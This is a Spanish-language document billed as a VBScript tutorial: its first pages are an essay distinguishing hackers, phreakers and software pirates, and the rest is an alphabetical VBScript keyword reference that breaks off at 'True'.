162
By KarlosVid(ÊÇ) www.idat.byethost14.com 1 Tutorial de Visual Basic Scripting INSTRODUCCIÓN Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida. Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y también una gran capacidad para resolver los obstáculos que se les presentan*. Un hacker puede tardar meses en vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa. Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers (crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes, destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero muy convincente. El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y

Tutorial de Visual Basic Scripting

Embed Size (px)

Citation preview

Page 1: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 1

Tutorial de Visual Basic Scripting

INSTRODUCCIÓN

Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida. Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y también una gran capacidad para resolver los obstáculos que se les presentan*. Un hacker puede tardar meses en vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa. Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers (crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes, destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero muy convincente. El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y

Page 2: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 2

realizan transacciones de una cuenta bancaria a otra. Los criminologos, por otra parte, describen a los hackers en terminos menos halagadores. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como "vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y el empleado que de repente decide hacer algo malo. Por tanto, parece que tenemos una definicion en la que caben dos extremos: por un lado, el moderno ladron de bancos y por otro el inquieto. Ambas actividades (y todas las intermedias) son calificadas con el mismo termino. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion precisa. Una gran parte de esta ambigüedad puede seguirse desde el origen durante estos aproximadamente 20 años de vida del mencionado termino. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los diseñadores del ordenador Apple, Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra. Pero a principios de la decada de 1980, influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la comunidad cientifica social no ha puesto mucho esfuerzo por variar esta definicion. El problema para llegar a una definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diarias, como en el hecho de que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un claro entendimiento de lo que el termino significa. Este problema, y la falta de entendimiento de lo que significa ser un hacker, convierte a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas. Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas que distribuyen software comercial ilegalmente. Veremos que esto tiene poco que ver con las actuaciones propias de los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales. Los terminos, "hacker", "phreaker" y "pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. En primer lugar, el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades: bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso. Ademas, una vez que se ha conseguido acceder, las cuentas ilicitas a veces compartidas con otros asociados, denominandolas "frescas". He aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte años, con conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino. La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker no suele tener, el terminos generales, acceso a los manuales de operacion y otros recursos disponibles para los usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers no destruyen y no dañan deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar un tiempo sustancioso en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto. Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso) no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de haber accedido a él. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte "facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio. La segunda actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos de facturacion de las compañías telefonicas. Permite llamar a de cualquier parte del mundo sin costo practicamente. En muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su origen, evitando asi la posibilidad de ser atrapado. Par la mayor parte de los miembros del submundo informatico, esta es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas. La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es relativamente pequeña. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de él. Los phreakers, por otra parte, quieren aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo: "El sistema telefonico es la cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes

Page 3: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 3

areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion. Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compañías. El tener acceso a las cosas de estas empresas, como manuales, etc., debe ser grandioso". La mayoria de la gente del submundo no se acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para otros fines. En este caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker, explicaba: "Se muy poco sobre teléfonos simplemente soy un hacker. Mucha gente hace lo mismo. En mi caso, hacer de phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo". En el submundo informatico, la posibilidad de actuar asi se agradece, luego llego el uso de la tarjeta telefonica. Estas tarjetas abrieron la puerta para realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con marcacion por tonos y un numero de una de esas tarjetas, y con eso se puede llamar a cualquier parte del mundo. De igual forma que los participantes con mas conocimientos y motivacion son llamados hackers, aquellos que desean conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta limitada a los phreakers, pero no es suficiente para merecer la distincion. Finalmente llegamos a la "telepirateria" del software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No nos refiererimos a la copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones, incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos basta para "merecer" el titulo. La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales, y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el ultimo programa de juegos. Un hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito telefonicas. "Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de las grandes compañías de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Los hackers representan solo una pequeña parte de estas perdidas. El resto esta causado por “los piratas y ladrones que venden estos codigos en la calle." Otro hacker explica que el proceso de intercambiar grandes programas comerciales por modem normalmente lleva varias horas, y son estas llamadas, y no las que realizan los "entusiastas de telecomunicaciones", las que preocupan a las compañias telefonicas. Pero sin considerar la ausencia de conocimientos especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los hackers / phreakers y los telepiratas. Despues de haber descrito los tres papeles del submundo informatico, podemos ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta de credito telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un phreaker. En todo esto hay una serie de avisos. No se quiere dar la impresion de que un individuo es un hacker, un phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos individuos son capaces de actuar en mas de uno de estos papeles. Se cree que la respuesta se encuentra en buscar los objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo que la compañía telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software mas moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos, cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata. En cierto modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose. Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es mas que impreciso, ignora las relaciones funcionales y diferencias entre ellos. Hay que admitir, de todas formas, que siempre habra alguien que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion, quedo de manifiesto que los individuos que realizan actualmente estas actividades no se ponen de acuerdo en cuanto a donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos. En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan. Las tipologias que he presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa, especificacion e identificacion de las actividades que se dan en el submundo de la informatica.

Page 4: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 4

Referencia del lenguaje de VBScript Estos prácticos bloques de información le ayudarán a examinar las diferentes partes del Lenguaje de secuencias de comandos de Visual Basic.

Encontrará todas las partes del lenguaje de VBScript mostradas por orden alfabético en la Lista alfabética de palabras clave. Si sólo desea examinar una categoría, por ejemplo objetos, cada categoría del lenguaje tiene su propia sección, más compacta.

¿Cómo funciona? Haga clic en uno de los encabezados de la izquierda para mostrar una lista de elementos contenidos en esa categoría. Desde esta lista, seleccione el tema que desea ver. Una vez abierto ese tema, puede seguir los vínculos a otras secciones relacionadas.

Compruébelo. Estudie algunas instrucciones, examine los métodos o descifre unas pocas funciones. Verá qué versátil puede llegar a ser la Biblioteca de tiempo de ejecución de secuencias de comandos. Elemento del lenguaje Descripción

Abs (Función) Devuelve el valor absoluto de un número.

Suma (+), (Operador) Suma dos números.

And (Operador) Realiza una conjunción lógica de dos expresiones.

Array (Función) Devuelve una Variant que contiene una matriz.

Asc (Función) Devuelve el código de carácter ANSI que corresponde a la primera letra en una cadena.

Asignación (=) (Operador) Asigna un valor a una variable o propiedad.

Atn (Función) Devuelve el arcotangente de un número.

Call (Instrucción) Traspasa un control a un procedimiento Sub o Function.

CBool (Función) Devuelve una expresión convertida a una Variant del subtipo Boolean.

CBCByte (Función) Devuelve una expresión convertida a una Variant del subtipo Byte.

CCur, fCCur (Función) Devuelve una expresión convertida a una Variant del subtipo Currency.

CDate (Función) Devuelve una expresión convertida a una Variant del subtipo Date.

CDbl (Función) Devuelve una expresión convertida a una Variant del subtipo Double.

Chr (Función) Devuelve el carácter asociado con el código de carácter ANSI especificado.

CInt (Función) Devuelve una expresión convertida a una Variant del subtipo Integer.

Class (Objeto) Proporciona acceso a los eventos de una clase creada.

Class (Instrucción) Declara el nombre de una clase.

Clear (Método) Borra todos los valores de propiedad del objeto Err .

CLng (Función) Devuelve una expresión convertida a una Variant del subtipo Long.

Color (Constantes) Lista de constantes de color.

Comparación (Constantes) Lista de constantes utilizadas en operaciones de comparación.

Concatenación (&)(Operador) Fuerza la concatenación de cadenas de dos expresiones.

Const (Instrucción) Declara constantes para utilizar en lugar de valores literales.

Cos (Función) Devuelve el coseno de un ángulo.

CreateObject (Función) Crea y devuelve una referencia a un objeto de Automatización.

CSng (Función) Devuelve una expresión convertida a una Variant del subtipo Single.

CStr (Función) Devuelve una expresión convertida a una Variant del subtipo String.

Fecha y hora (Constantes) Lista de constantes que definen los días de la semana y otras constantes utilizadas en las operaciones de fecha y hora.

Formato de fecha (Constantes) Lista de constantes utilizadas para dar formato a fechas y horas.

Date (Función) Devuelve la fecha actual del sistema.

DateAdd(Función) Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.

Page 5: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 5

DateDiff (Función) Devuelve el número de intervalos entre dos fechas.

DatePart (Función) Devuelve la parte especificada de una fecha dada.

DateSerial (Función) Devuelve una Variant del subtipo Date para un día, mes y año especificados.

DateValue (Función) Devuelve una Variant del subtipo Date.

Day (Función) Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.

Description (Propiedad) Devuelve o establece la cadena descriptiva asociada con un error.

Dictionary (Objeto) Objeto que almacena pares de elemento y clave.

Dim (Instrucción) Declara variables y asigna espacio de almacenamiento.

División (/) (Operador) Divide dos números y devuelve un resultado de punto flotante.

Do...Loop (Instrucción) Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición sea True.

Empty Indica un valor variable no inicializado.

Eqv (Operador) Realiza una equivalencia lógica de dos expresiones.

Erase (Instrucción) Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación de espacio de almacenamiento de la matriz dinámica.

Err (Objeto) Contiene información acerca de los errores en tiempo de ejecución.

Eval (Función) Evalúa una expresión y devuelve el resultado.

Execute (Método) Ejecuta una búsqueda de expresión regular con una cadena especificada.

Execute (Instrucción) Ejecuta una o más instrucciones especificadas.

Exit (Instrucción) Sale de un bloque de código Do...Loop, For...Next, Function o Sub.

Exp (Función) Devuelve e (la base de los logaritmos naturales) elevado a una potencia.

Exponenciación (^) (Operador) Eleva un número a la potencia de un exponente.

False Palabra clave que tiene un valor igual a cero.

FileSystemObject (Objeto) Proporciona acceso al sistema de archivos de un equipo.

Filter (Función) Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basada en un criterio de filtro especificado.

FirstIndex (Propiedad) Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.

Fix (Función) Devuelve la parte entera de un número.

For...Next (Instrucción) Repite un grupo de instrucciones un número especificado de veces.

For Each...Next (Instrucción) Repite un grupo de instrucciones para cada elemento en una matriz o colección.

FormatCurrency (Función) Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel del control del sistema.

FormatDateTime (Función) Devuelve una expresión con formato de fecha u hora.

FormatNumber (Función) Devuelve una expresión con formato de número.

FormatPercent (Función) Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un carácter % final.

Function (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Function.

GetObject (Función) Devuelve una referencia a un objeto de Automatización desde un archivo.

GetRef (Función) Devuelve una referencia a un procedimiento que se puede enlazar a un evento.

Global (Propiedad) Establece o devuelve un valor booleano.

Hex (Función) Devuelve una cadena que representa el valor hexadecimal de un número.

HelpContext (Propiedad) Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.

HelpFile (Propiedad) Establece o devuelve una ruta completa a un archivo de Ayuda

Hour (Función) Devuelve un número entero entre 0 y 23, ambos inclusive, que representan la hora del día.

If...Then...Else (Instrucción) Ejecuta de forma condicional un grupo de instrucciones, dependiendo del valor de una expresión.

IgnoreCase (Propiedad) Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue

Page 6: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 6

las mayúsculas de las minúsculas.

Imp (Operador) Realiza una implicación lógica de dos expresiones.

Initialize (Evento) Ocurre cuando se crea una instancia de la clase asociada.

InputBox (Función) Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.

InStr (Función) Devuelve la posición de la primera aparición de una cadena dentro de otra.

InStrRev (Función) Devuelve la posición de una aparición de una cadena dentro de otra, desde el final de la cadena.

Int (Función) Devuelve la parte entera de un número.

División entera (\) (Operador) Divide dos números y devuelve un resultado entero.

Is (Operador) Compara dos variables de referencia de objetos.

IsArray (Función) Devuelve un valor booleano que indica si una variable es una matriz.

IsDate (Función) Devuelve un valor booleano que indica si se puede convertir una expresión en fecha.

IsEmpty (Función) Devuelve un valor booleano que indica si se inicializó una variable.

IsNull (Función) Devuelve un valor booleano que indica si una expresión no contiene datos válidos (Null ).

IsNumeric (Función) Devuelve un valor booleano que indica si se puede evaluar una expresión como un número.

IsObject (Función) Devuelve un valor booleano que indica si una expresión hace referencia a un objeto de Automatización válido.

Join (Función) Devuelve una cadena creada al unir varias subcadenas contenidas en una matriz.

LBound (Función) Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.

LCase (Función) Devuelve una cadena convertida a minúsculas.

Left (Función) Devuelve un número de caracteres especificado desde el lado izquierdo de una cadena.

Len (Función) Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.

Length (Propiedad) Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.

LoadPicture (Función) Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.

Log (Función) Devuelve el logaritmo natural de un número.

LTrim (Función) Devuelve una copia de una cadena sin los espacios iniciales.

Match (Objeto) Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular.

Matches (Colección) Colección de objetos Match de expresión regular.

Mid (Función) Devuelve un número especificado de caracteres de una cadena.

Minute (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la hora.

Diversas (Constantes) Lista de constantes que no corresponden a ninguna otra categoría.

Mod (Operador) Divide dos números y devuelve sólo el resto.

Month (Función) Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.

MonthName (Función) Devuelve una cadena que indica el mes especificado.

MsgBox (Constantes) Lista de constantes utilizadas con la función MsgBox.

MsgBox (Función) Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un botón y devuelve un valor que indica en que botón hizo clic el usuario .

Multiplicación (*) (Operador) Multiplica dos números.

Negación (-) (Operador) Indica el valor negativo de una expresión numérica.

Not (Operador) Realiza una negación lógica en una expresión.

Now (Función) Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.

Nothing Disocia una variable de objeto de cualquier objeto real.

Null Indica que una variable no contiene datos válidos.

Page 7: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 7

Number (Propiedad) Devuelve o establece un valor numérico que especifica un error.

Oct (Función) Devuelve una cadena que representa el valor octal de un número.

On Error (Instrucción) Habilita el control de errores.

Precedencia de operadores Lista que muestra el orden de precedencia entre varios operadores utilizados en VBScript.

Option Explicit (Instrucción) Fuerza la declaración explícita de todas las variables en una secuencia de comandos.

Or (Operador) Realiza una disyunción lógica de dos expresiones.

Pattern (Propiedad) Establece o devuelve el patrón de expresión regular que se busca.

Private (Instrucción) Declara las variables privadas y asigna espacio de almacenamiento.

PropertyGet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad.

PropertyLet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad.

PropertySet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto.

Public (Instrucción) Declara las variables públicas y asigna espacio de almacenamiento.

Raise (Método) Genera un error en tiempo de ejecución.

Randomize (Instrucción) Inicializa el generador de números aleatorios.

ReDim (Instrucción) Declara las variables de matriz dinámica y asigna o vuelve a asignar el espacio de almacenamiento en el nivel de procedimiento.

RegExp (Objeto) Proporciona compatibilidad con expresiones regulares simples.

Rem (Instrucción) Incluye observaciones explicativas en un programa.

Replace (Función) Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces.

Replace (Método) Reemplaza el texto encontrado en una búsqueda de expresión regular.

RGB (Función) Devuelve un número entero que representa un valor de color RGB.

Right (Función) Devuelve un número especificado de caracteres del lado derecho de una cadena.

Rnd (Función) Devuelve un número aleatorio.

Round (Función) Devuelve un número redondeado a un número especificado de lugares decimales.

RTrim (Función) Devuelve una copia de una cadena sin espacios finales.

ScriptEngine (Función) Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.

ScriptEngineBuildVersion (Función) Devuelve el número de versión de compilación del motor de secuencias de comandos en uso.

ScriptEngineMajorVersion (Función) Devuelve el número de la versión principal del motor de secuencias de comandos en uso.

ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en uso.

Second (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo del minuto.

Select Case (Instrucción) Ejecuta uno de entre varios grupos de instrucciones, según el valor de una expresión.

Set (Instrucción) Asigna la referencia de un objeto a una variable o propiedad.

Sgn (Función) Devuelve un número entero que indica el signo de un número.

Sin (Función) Devuelve el seno de un ángulo.

Source (Propiedad) Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error.

Space (Función) Devuelve una cadena compuesta por el número especificado de espacios.

Split (Función) Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas.

Sqr (Función) Devuelve la raíz cuadrada de un número.

StrComp (Función) Devuelve un valor que indica el resultado de una comparación de cadenas.

Cadena (Constantes) Lista de constantes de cadena.

String (Función) Devuelve una cadena de caracteres repetidos de la longitud especificada.

Page 8: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 8

StrReverse (Función) Devuelve una cadena en la que está invertido el orden de caracteres de una cadena especificada.

Sub (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Sub.

Resta (-) (Operador) Encuentra la diferencia entre dos números o indica el valor negativo de una expresión numérica.

Tan (Función) Devuelve la tangente de un ángulo.

Terminate (Evento) Ocurre cuando se termina una instancia de la clase asociada.

Test (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.

Time (Función) Devuelve una Variant del subtipo Date que indica la hora actual del sistema.

Timer (Función) Devuelve el número de segundos que transcurrieron desde las 12:00 a.m.(medianoche).

TimeSerial (Función) Devuelve una Variant del subtipo Date que contiene la hora de una hora, minuto y segundo específicos.

TimeValue (Función) Devuelve una Variant del subtipo Date que contiene la hora.

Trim (Función) Devuelve una copia de una cadena sin espacios iniciales o finales.

Triple estado (Constantes) Utilícelas en cualquier parte de su código para representar los valores mostrados en cada una.

True La palabra clave que tiene un valor igual a -1.

